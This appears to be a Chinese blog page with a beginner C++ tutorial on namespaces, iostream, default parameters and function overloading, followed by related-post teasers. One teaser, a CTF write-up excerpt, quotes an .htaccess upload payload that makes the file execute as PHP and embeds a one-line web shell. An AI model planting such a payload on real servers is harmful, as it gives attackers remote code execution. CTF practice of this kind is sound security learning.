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C++基础（1）

news 来源：原创 2025/7/1 20:47:51

1. C++发展历史

2. C++第一个程序

3. 命名空间

3.1 namespace的价值

3.2 命名空间的定义

3.3 命名空间的使用

4. C++输入和输出

5. 缺省参数

6. 函数重载

6.1 实现函数重载的条件

6.2 函数重载的应用

1. C++发展历史

C++的起源可以追溯到1979年，当时BjarneStroustrup(本贾尼·斯特劳斯特卢普，这个翻译的名字不同的地方可能有差异)在贝尔实验室从事计算机科学和软件工程的研究工作。面对项目中复杂的软件开发任务，特别是模拟和操作系统的开发工作，他感受到了现有语言（如C语言）在表达能力、可维护性和可扩展性方面的不足。

1983年，BjarneStroustrup在C语言的基础上添加了面向对象编程的特性，设计出了C++语言的雏形，此时的C++已经有了类、封装、继承等核心概念，为后来的面向对象编程奠定了基础。这一年该语言被正式命名为C++。

随着C++的应用日益广泛，对其进行标准化的需求也越来越迫切。1990年，C++的标准化工作正式启动，由美国国家标准协会（ANSI）和国际标准化组织（ISO）共同负责。

C++的标准化过程是一个充满挑战和争议的过程。在长达八年的时间里，来自不同国家和背景的开发者们就C++的语法、语义、库和运行时环境等方面进行了深入的讨论和协商。最终，在1998年，C++的第一个国际标准ISO/IEC 14882:1998正式发布，标志着C++的正式成熟和广泛应用。

2. C++第一个程序

C++兼容C语言绝大多数的语法，所以C语言实现的helloworld依旧可以运行，C++中需要把文件后缀改为.cpp，vs编译器看到是.cpp就会调用C++编译器编译，linux下要用g++编译，不再是gcc。

#include<stdio.h>
int main()
{printf("hello world\n");return 0;
}

当然C++有一套自己的输入输出，严格说C++版本的helloworld应该是这样写的：

#include<iostream>
using namespace std;
int main()
{cout << "hello world" << endl;return 0;
}

3. 命名空间

3.1 namespace的价值

在C/C++中，变量、函数和类都是大量存在的，这些变量、函数和类的名称将都存在于全局作同域中，可能会导致很多冲突。使用命名空间的目的是对标识符的名称进行本地化，以避免命名冲突或名字污染，namespace关键字的出现就是针对这种问题的。

如下面C语言程序存在的命名冲突问题：

#include<stdio.h>
#include<stdlib.h>
int rand = 10;
int main()
{	printf("%d\n", rand);return 0;
}

运行结果：

运行时编译报错，编译时头文件<stdlib.h>中有一个rand()函数，是用来产生随机数的一个函数，与我们定义的变量rand名字一样，就产生重定义，为了避免这种情况发生，namespace关键字闪亮登场。

3.2 命名空间的定义

定义命名空间，需要使用到namespace关键字，后面跟命名空间的名字，然后接一对{}即可，{}中即为命名空间的成员。命名空间中可以定义变量/函数/类型等。
namespace本质是定义出一个域，这个域跟全局域各自独立，不同的域可以定义同名变量，所以下面的rand变量就不存在冲突了。
C++中域有函数局部域，全局域，命名空间域，类域；域影响的是编译时语法查找一个变量/函数/ 类型出处(声明或定义)的逻辑，所有有了域隔离，名字冲突就解决了。局部域和全局域除了会影响编译查找逻辑，还会影响变量的生命周期，命名空间域和类域不影响变量生命周期。
namespace只能定义在全局，当然还可以嵌套定义。
项目工程中多文件中定义的同名namespace会认为是一个namespace，不会冲突。
C++标准库都放在一个叫std(standard)的命名空间中。

#include<stdio.h>
#include<stdlib.h>
namespace dog    //dog是命名空间的名字，⼀般开发中是⽤项⽬名字作为命名空间名字。
{int rand = 10;
}int m = 5;int main()
{		printf("%p\n", rand);   //stdlib.h头文件rand变量是一个指针，我们用%p打印printf("%d\n", dog::rand); //::域作用限定符  指定命名空间中的rand，打印10int m = 55;printf("%d\n", m); //局部变量优先，打印55printf("%d\n", ::m);//访问全局变量m,打印5return 0;
}

运行结果：

//命名空间中可以定义变量/函数/类型
#include<stdio.h>
#include<stdlib.h>
namespace dog   
{	int rand = 10;int Add(int left, int right){return left + right;}struct Node{struct Node* next;int val;};	
}int main()
{printf("%d\n", dog::Add(1, 2)); //3struct dog::Node p1;//定义结构体变量return 0;
}

//命名空间可以嵌套定义，解决一个命名空间存在同名变量问题
#include<stdio.h>
#include<stdlib.h>namespace dog
{namespace cat{int rand = 10;int Add(int left, int right){return left + right;}}namespace tiger{int rand = 20;int Add(int left, int right){return (left + right) * 10;}}
}int main()
{printf("%d\n", dog::cat::rand);  //10printf("%d\n", dog::tiger::rand);//20return 0;
}

3.3 命名空间的使用

编译查找一个变量的声明/定义时，默认只会在局部或者全局查找，不会到命名空间里面去查找。所以下面程序会编译报错：

#include<stdio.h>
namespace dog
{int a = 0;	
}int main()
{	printf("%d\n", a);return 0;
}

运行结果：

所以我们要使用命名空间中定义的变量/函数，有三种方式：

指定命名空间访问，项目中推荐这种方式。
using将命名空间中某个成员展开，项目中经常访问的不存在冲突的成员推荐这种方式。
展开命名空间中全部成员，项目不推荐，冲突风险很大，日常为了方便练习程序推荐使用。

#include<stdio.h>
namespace dog
{int a = 0;	int b = 1;
}int main()
{	printf("%d\n", dog::a); //指定命名空间访问return 0;
}

#include<stdio.h>
namespace dog
{int a = 0;int b = 1;
}
using dog::a; //using将命名空间中某个成员展开int main()
{printf("%d\n", a);printf("%d\n", a);printf("%d\n", a);printf("%d\n", a);printf("%d\n", a);printf("%d\n", dog::b);return 0;
}

#include<stdio.h>
namespace dog
{int a = 0;	int b = 1;
}
using namespace dog; //展开命名空间中的全部成员int main()
{	printf("%d\n", a);return 0;
}

4. C++输入和输出

<iostream> 是Input Output Stream的缩写，是标准的输入、输出流库，定义了标准的输入、输出对象。
std::cin 是istream类的对象，它主要面向窄字符（narrow characters (of type char)）的标准输入流。
std::cout 是ostream类的对象，它主要面向窄字符的标准输出流。
std::endl 是一个函数，流插入输出时，相当于插一个换行字符加刷新缓冲区。
<< 是流插入运算符，>> 是流提取运算符。（C语言还用这两个运算符做位运算左移/右移）
使用C++输入输出更方便，不需要像printf/scanf输入输出时那样，需要手动指定格式，C++的输入输出可以自动识别变量类型(本质是通过函数重载实现的)，其实最重要的是 C++的流能更好的支持自定义类型对象的输入输出。
cout /cin /endl 等都属于C++标准库，C++标准库都放在一个叫std(standard)的命名空间中，所以要通过命名空间的使用方式去用他们。
一般日常练习中我们可以展开命名空间中全部成员（using namespace std），实际项目开发中不建议。
在vs中没有包含<stdio.h>，也可以使用printf 和scanf，在包含<iostream>间接包含了，vs系列编译器是这样的，其他编译器可能会报错。

#include<iostream>
using namespace std;int main()
{int a = 0;double b = 3.1;char c = 'y';cout << a << " " << b << " " << c << endl;std::cout << a << " " << b << " " << c << endl;cout << endl;//可以自动识别变量的类型cin >> a >> b >> c;cout << a << " " << b << " " << c << endl;return 0;
}

运行结果：

//C++兼容C语言，如果想控制精度打印的话可以直接使用printf
#include<iostream>
using namespace std;int main()
{double b = 22345.666666;printf("%.2lf\n", b);cout << b << endl;//cout 输出默认精度为 6 位有效数return 0;
}

运行结果：

C++ IO的性能

C++为了兼容C语言，会做出一些妥协优化。C语言的缓冲区只有遇到刷新标志时才会进行刷新，而如果printf缓冲区还没有刷新，我们使用cout会出现什么情况？会先把printf缓冲区刷新出来，再打印cout输出的内容，所以cout之前会先对缓冲区进行检查！所以C++风格IO需要和C风格IO进行缓冲区同步！

对于有大量IO的场景，C++的IO效率会比C风格IO慢，可以进行下面优化：

#include<iostream>
using namespace std;
int main()
{// 在IO需求⽐较⾼的地⽅，如部分⼤量输⼊的竞赛题中，加上以下3⾏代码,可以提⾼C++ IO效率 ios_base::sync_with_stdio(false);cin.tie(nullptr);cout.tie(nullptr);return 0;
}

5. 缺省参数

缺省参数是声明或定义函数时为函数的参数指定一个缺省值。在调用该函数时，如果没有指定实参则采用该形参的缺省值，否则使用指定的实参，缺省参数分为全缺省和半缺省参数。（有些地方把缺省参数也叫默认参数）
全缺省就是全部形参给缺省值，半缺省就是部分形参给缺省值。C++规定半缺省参数必须从右往左 依次连续缺省，不能间隔跳跃给缺省值。
带缺省参数的函数调用，C++规定必须从左到右依次给实参，不能跳跃给实参。
函数声明和定义分离时，缺省参数不能在函数声明和定义中同时出现，规定必须函数声明给缺省值。
缺省值必须是常量，C语言不支持缺省参数（编译器不支持）。

#include <iostream>
using namespace std;void Func(int a = 0)
{cout << a << endl;
}
int main()
{Func(); //没有传参时，使⽤参数的默认值Func(10); //传参时，使⽤指定的实参return 0;
}

运行结果：

第一个形参没有给出缺省参数值，至少传入一个实参。

第一、二个形参无缺省参数值，至少传入两个实参。

三个形参均无缺省参数值，需传入三个实参。

#include <iostream>
using namespace std;//全缺省
void Func1(int a = 10, int b = 20, int c = 30)
{cout << "a = " << a << endl;cout << "b = " << b << endl;cout << "c = " << c << endl << endl;
}//半缺省
void Func2(int a, int b = 10, int c = 20)//从右往左 依次连续缺省，不能间隔跳跃
{cout << "a = " << a << endl;cout << "b = " << b << endl;cout << "c = " << c << endl << endl;
}
int main()
{                      //从左到右依次给实参Func1();Func1(1);Func1(1, 2);Func1(1, 2, 3);Func2(100);Func2(100, 200);Func2(100, 200, 300);return 0;
}

运行结果：

6. 函数重载

C++支持在同一作用域中出现同名函数，但是要求这些同名函数的形参不同，可以是参数个数不同或者类型不同。这样C++函数调用就表现出了多态行为，使用更灵活。C语言是不支持同一作用域中出现同名函数的。

6.1 实现函数重载的条件

参数个数不同
参数类型不同
参数顺序不同

#include<iostream>
using namespace std;// 1、参数类型不同
int Add(int left, int right)
{cout << "int Add(int left, int right)" << endl;return left + right;
}
double Add(double left, double right)
{cout << "double Add(double left, double right)" << endl;return left + right;
}// 2、参数个数不同
void f()
{cout << "f()" << endl;
}
void f(int a)
{cout << "f(int a)" << endl;
}// 3、参数类型顺序不同
void f(int a, char b)
{cout << "f(int a,char b)" << endl;
}
void f(char b, int a)
{cout << "f(char b, int a)" << endl;
}int main()
{Add(1, 2);Add(1.1, 2.2);f();f(5);f(8, 'm');f('n', 4);return 0;
}

运行结果：

#include<iostream>
using namespace std;
//下面两个函数构成重载
//但是调用fg()时会产生歧义，编译器不知道调用谁
void fg()
{cout << "fg()" << endl;
}void fg(int a=10)
{cout << "fg(int a)" << endl;
}int main()
{fg();return 0;
}

运行结果：

这里无参调用时存在歧义，没办法区分，所以在书写函数时不要一个无参，另一个全缺省。

#include<iostream>
using namespace std;
//返回值不同不能作为重载条件void function()
{}int function()
{return 0;
}
int main()
{function();return 0;
}

运行结果：

返回值不同不能作为重载条件，因为调用时也无法区分。

如果这样调用函数：int x = function (); 通过接受返回值则可以判断出function 是第二个函数，如果我们不接收函数的返回值，在这种情况下，编译器和程序员都不知道哪个function 函数被调用。所以只能靠参数而不能靠返回值类型的不同来区分重载函数。

6.2 函数重载的应用

对于栈这种数据结构，我们定义一个栈的结构体和对它初始化的函数。

//Stack.h
#include<iostream>
#include<assert.h>
using namespace std;typedef int SLDataType;
typedef struct Stack
{SLDataType* a;//指向动态开辟的数组int top;//确定栈顶位置int capacity;//栈的容量
}ST;//初始化
void STInit(ST* pst, int n = 4); //缺省参数不能声明和定义同时给//Stack.cpp
#include"Stack.h"
void STInit(ST* pst, int n) //函数声明和定义
{assert(pst);pst->a = (SLDataType*)malloc(sizeof(SLDataType) * n);pst->top = 0;pst->capacity = n;
}//Test.cpp
int main()
{//确定知道要插⼊1000个数据，初始化时一把开好，避免扩容，效率得到提升ST s1;STInit(&s1, 1000);return 0;
}

如果我们要开确定容量的空间，直接手动传入确定容量，可以避免多次扩容和空间浪费，如果不知道确定要开多少空间，此时可以不传入实参，默认使用给的缺省参数值，如果空间不够就继续扩容。

C++基础（1）

目录 1. C发展历史 2. C第一个程序 3. 命名空间 3.1 namespace的价值 3.2 命名空间的定义 3.3 命名空间的使用 4. C输入和输出 5. 缺省参数 6. 函数重载 6.1 实现函数重载的条件 6.2 函数重载的应用 1. C发展历史 C的起源可以追溯到1979年，当时Bjarne…...

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编程日记 2025/6/27 17:50:04

Sprintboot原理

配置优先级 Springboot中支持的三种配置文件： application.propertiesapplication.ymlapplication.yaml java系统属性：-Dxxxxxx 命令行参数：-xxxxxx 优先级：命令行参数>java系统属性>application.properties>applicat…...

编程日记 2025/7/1 20:26:27

2007-2020年各省国内专利申请授权量数据

2007-2020年各省国内专利申请授权量数据 1、时间：2007-2020年 2、来源：国家统计局、统计年鉴 3、指标：行政区划代码、地区名称、年份、国内专利申请授权量(项) 4、范围：31省 5、指标解释：专利是专利权的简称&…...

编程日记 2025/6/28 0:19:46

SpringBoot或SpringAI对接DeekSeek大模型

今日除夕夜，deepseek可是出尽了风头，但是我看网上还没有这方面的内容对接，官网也并没有，故而本次对接是为了完成这个空缺我看很多的博客内容是流式请求虽然返回时正常的，但是他并不是实时返回，而是全部响应…...

编程日记 2025/6/30 1:34:28

MV结构下设置Qt表格的代理

目录预备知识模型关联刷新示例代理模型界面结果完整资料见： 所谓MV结构，是“model-view”（模型-视图）的简称。也就是说，表格的数据保存在model中，而视图由view实现。在我前面的很多博客…...

编程日记 2025/6/28 1:45:09

C++：多继承习题2

题目内容： 分别声明Teacher类和Cadre类，采用多重继承派生出新类Teacher_Dadre。要求： （1）在两个基类中都包含姓名、年龄、性别、地址和电话。 （2）在Teacher类中包含title数据成员，Ca…...

编程日记 2025/6/28 6:57:21

DeepSeek--通向通用人工智能的深度探索者

一、词源与全称 “DeepSeek"由"Deep”（深度）与"Seek"（探索）组合而成，中文译名为"深度求索"。其全称为"深度求索人工智能基础技术研究有限公司"，英文对应"De…...

编程日记 2025/6/28 0:20:03

Spring MVC中HandlerInterceptor和Filter的区别

目录一、处理阶段二、功能范围三、参数访问四、配置方式五、使用场景说明在Spring MVC中，HandlerInterceptor和Filter都是用于拦截请求的重要组件，但它们在多个方面存在显著的差异。本文将详细解析这两种拦截机制的区别，并结合使用…...

编程日记 2025/7/1 8:05:51

Linux 部署 Java 项目：Tomcat、Redis、MySQL 教程

在 Linux 服务器上部署 Java 项目通常需要配置应用服务器（如 Tomcat）、数据库（如 MySQL）和缓存服务器（如 Redis）。本文将详细介绍如何在 Linux 环境中部署一个 Java 项目，涵盖 Tomcat、Redis 和…...

编程日记 2025/6/30 1:39:13

C语言------数组从入门到精通

1.一维数组目标:通过思维导图了解学习一维数组的核心知识点: 1.1定义使用类型名数组名[数组长度]; 定义数组。 // 示例： int arr[5]; 1.2一维数组初始化数组的初始化可以分为静态初始化和动态初始化两种方式。它们的主要区别在于初始化的时机和内存分配的方…...

编程日记 2025/6/29 5:18:24

工作总结：git篇

文章目录前言基础Gerrit1.克隆2.新建本地分支和checkout3.添加到暂存区新增文件到暂存区修改已经添加到暂存区的文件取消添加到暂存区的文件 4.提交到本地仓库在不重复提交的情况下，修改本次提交 5.提交到远程仓库6.评审其他辅助命令前言目前也算是工作一段时间…...

编程日记 2025/7/1 19:52:22

2024年终总结——今年是蜕变的一年

2024年终总结摘要前因转折找工作工作的成长人生的意义摘要 2024我从国企出来，兜兜转转还是去了北京，一边是工资低、感情受挫，一边是压力大、项目经历少，让我一度找不到自己梦寐以求的工作，我投了一家又一家&#xff…...

编程日记 2025/6/29 20:10:55

Linux环境基础开发工具的使用(apt, vim, gcc, g++, gbd, make/Makefile)

什么是软件包在Linux下安装软件, 一个通常的办法是下载到程序的源代码, 并进行编译, 得到可执行程序. 但是这样太麻烦了, 于是有些人把一些常用的软件提前编译好, 做成软件包(可以理解成windows上的安装程序)放在一个服务器上, 通过包管理器可以很方便的获取到这个编译好的…...

编程日记 2025/6/28 0:21:26

宫本茂的游戏设计思想:有趣与风格化

作为独立游戏开发者之一，看到任天堂宫本茂20年前的言论后，深感认同。游戏研发思想，与企业战略是互为表里的，游戏是企业战略的具体战术体现，虚空理念的有形载体。任天堂长盛不衰的关键就是靠简单有趣的游戏&#xf…...

编程日记 2025/6/28 7:03:08

[JMCTF 2021]UploadHub

题目上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

编程日记 2025/7/1 11:24:30

树和图的实现与应用：C语言实践详解

树和图的实现与应用：C语言实践详解树和图是两种重要的非线性数据结构，在计算机科学中有着广泛的应用。从基本的二叉树到复杂的图算法（如最短路径和最小生成树），这些结构能够帮助我们高效解决实际问题。本文将从基础出发，逐步深入，讲解如何用C语言实现树和图，并探讨其…...

编程日记 2025/6/30 7:22:12

1. C++发展历史

2. C++第一个程序

3. 命名空间

3.1 namespace的价值

3.2 命名空间的定义

3.3 命名空间的使用

4. C++输入和输出

5. 缺省参数

6. 函数重载

6.1 实现函数重载的条件

6.2 函数重载的应用

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